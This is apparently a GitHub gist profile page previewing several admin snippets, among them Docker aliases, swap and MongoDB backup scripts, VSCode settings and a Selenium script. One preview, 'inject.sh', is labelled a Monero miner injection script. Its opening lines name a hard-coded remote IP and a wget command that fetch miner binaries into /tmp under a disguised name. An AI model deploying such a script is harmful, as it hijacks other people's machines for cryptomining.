Skip to content

Instantly share code, notes, and snippets.

View omartrigui's full-sized avatar
🚀
Auf Wiedersehen

Omar Trigui omartrigui

🚀
Auf Wiedersehen
View GitHub Profile
@omartrigui
omartrigui / markdown-details-collapsible.md
Created July 28, 2023 12:57
Add a collapsible section in markdown

How to add a collapsible section in markdown.

Example

Click me

Some Code

package main
@omartrigui
omartrigui / settings.json
Created March 15, 2024 16:13
VSCode settings
{
"[clojure]": {
"editor.autoClosingBrackets": "always",
"editor.autoClosingOvertype": "always",
"editor.formatOnPaste": true,
"editor.defaultFormatter": "betterthantomorrow.calva"
},
"calva.prettyPrintingOptions": {
"enabled": true,
"width": 120,
@omartrigui
omartrigui / umschreibung-fahrerlaubnis-termin.py
Last active March 7, 2024 12:18
Script: Fahrerlaubnis - Umschreibung einer ausländischen Fahrerlaubnis aus einem Nicht-EU/EWR-Land
from selenium import webdriver
from selenium.webdriver.common.by import By
import time
import notify2
import os
driver = webdriver.Chrome()
notify2.init("Python Notification")
while True:
@omartrigui
omartrigui / nlimit.plist
Created August 10, 2023 16:13
macOS Service: Increased File Limit with launchctl
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>nlimit</string>
<key>ProgramArguments</key>
<array>
<string>launchctl</string>
<string>limit</string>
@omartrigui
omartrigui / make-swap.sh
Last active August 9, 2023 02:33
Create 4G swap file in Linux
#!/bin/bash
dd if=/dev/zero of=/swapfile bs=1024 count=$((1024 * 1024 * 4))
chown root:root /swapfile
chmod 0600 /swapfile
mkswap /swapfile
swapon /swapfile
echo "/swapfile none swap sw 0 0" >> /etc/fstab
@omartrigui
omartrigui / mongodb-backup.sh
Last active January 9, 2023 13:29
Mongodump shell script - Backup/Restore
#!/bin/bash
MONGO_DATABASE="db_name"
INSTANCE_NAME="instance_name"
MONGO_HOST="127.0.0.1"
MONGO_PORT="27017"
TIMESTAMP=`date +%F-%H%M`
MONGODUMP_PATH="/usr/bin/mongodump"
BACKUPS_DIR="./path/$INSTANCE_NAME"
@omartrigui
omartrigui / centos_rootfs_resize.sh
Last active March 25, 2021 17:04
Expanding (resize) persistent & mounted Centos 7 disk size in Custom Google Compute Image.
sudo yum install -y cloud-utils-growpart
# You can use lsblk command to check the total available space of you disk.
# growpart is used to to expand a partition to the whole disk (expand sda1 to sda)
# xfs_growfs is used to resize and apply the changes
# df -h
# For more informations : https://blog.myduniahosting.com/how-to-resize-your-root-diskpartition-online-for-linux/
part=`df --output=source / |grep "/dev/"`
if [ ! -z "$part" ] ; then
len=${#part}
@omartrigui
omartrigui / inject.sh
Last active September 27, 2020 21:15
Linux monero miner injection script
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
HOST=191.101.180.74
CALLBACK=$HOST
# DOWNLOADER="curl "
DOWNLOADER="wget -q -O - "
LFILE_NAME="hp_systemd"
# LFILE_PATH=`pwd`/$LFILE_NAME
LFILE_PATH=/tmp/$LFILE_NAME
DEFAULT_RFILE=$HOST/files/hpl64
OTHERS_RFILE=$HOST/files/hpl32
@omartrigui
omartrigui / .bashrc
Created April 26, 2019 21:09
Docker aliases
alias dockercleancontainers="docker ps -aq | xargs docker rm"
alias dockercleanimages="docker images -aq -f dangling=true | xargs docker rmi"
alias dockerclean="dockercleancontainers && dockercleanimages"
alias docker-killall="docker ps -q | xargs docker kill"
# runs docker exec in the latest container
function docker-exec-last {
docker exec -ti $( docker ps -a -q -l) /bin/bash
}
@omartrigui
omartrigui / poor-man-vpn.sh
Created June 4, 2020 18:45
A Poor man’s VPN Over SSH
#!/bin/bash
sshuttle -r root@X.X.X.X -x X.X.X.X 0/0 -vv --ssh-cmd 'ssh -i id_rsa'